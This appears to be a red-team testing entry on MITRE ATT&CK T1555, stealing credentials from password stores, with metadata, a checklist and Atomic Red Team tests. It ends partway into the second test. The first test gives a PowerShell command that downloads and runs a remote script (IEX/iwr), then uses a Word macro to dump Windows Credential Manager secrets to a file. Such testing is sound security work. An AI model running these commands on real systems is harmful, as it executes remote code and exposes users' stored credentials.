t1555-credentials-from-password-stores

name	T1555_credentials-from-password-stores
description	Adversaries may search for common password storage locations to obtain user credentials.
category	authentication
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1555","credential-access","iaas","linux","macos","windows"]
technique_id	T1555
tactic	credential-access
all_tactics	["credential-access"]
platforms	["IaaS","Linux","macOS","Windows"]
mitre_url	https://attack.mitre.org/techniques/T1555
tech_stack	["cloud","linux","macos","windows"]
cwe_ids	["CWE-522"]
chains_with	["T1555.001","T1555.002","T1555.003","T1555.004","T1555.005","T1555.006"]
prerequisites	[]
severity_boost	{"T1555.001":"Chain with T1555.001 for deeper attack path","T1555.002":"Chain with T1555.002 for deeper attack path","T1555.003":"Chain with T1555.003 for deeper attack path"}

T1555 Credentials from Password Stores

High-Level Description

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

Kill Chain Phase

• Credential Access (TA0006)

Platforms: IaaS, Linux, macOS, Windows

What to Check

• Identify if Credentials from Password Stores technique is applicable to target environment
• Check IaaS systems for indicators of Credentials from Password Stores
• Check Linux systems for indicators of Credentials from Password Stores
• Check macOS systems for indicators of Credentials from Password Stores
• Verify mitigations are bypassed or absent (3 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Extract Windows Credential Manager via VBA

This module will extract the credentials found within the Windows credential manager and dump them to $env:TEMP\windows-credentials.txt

Supported Platforms: windows

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1555\src\T1555-macrocode.txt" -officeProduct "Word" -sub "Extract"

Dependencies:

• Microsoft Word must be installed

Atomic Test 2: Dump credentials from Windows Credential Manager With PowerShell [windows Credentials]

This module will extract the credentials from Windows Credential Manager

Supported Platforms: windows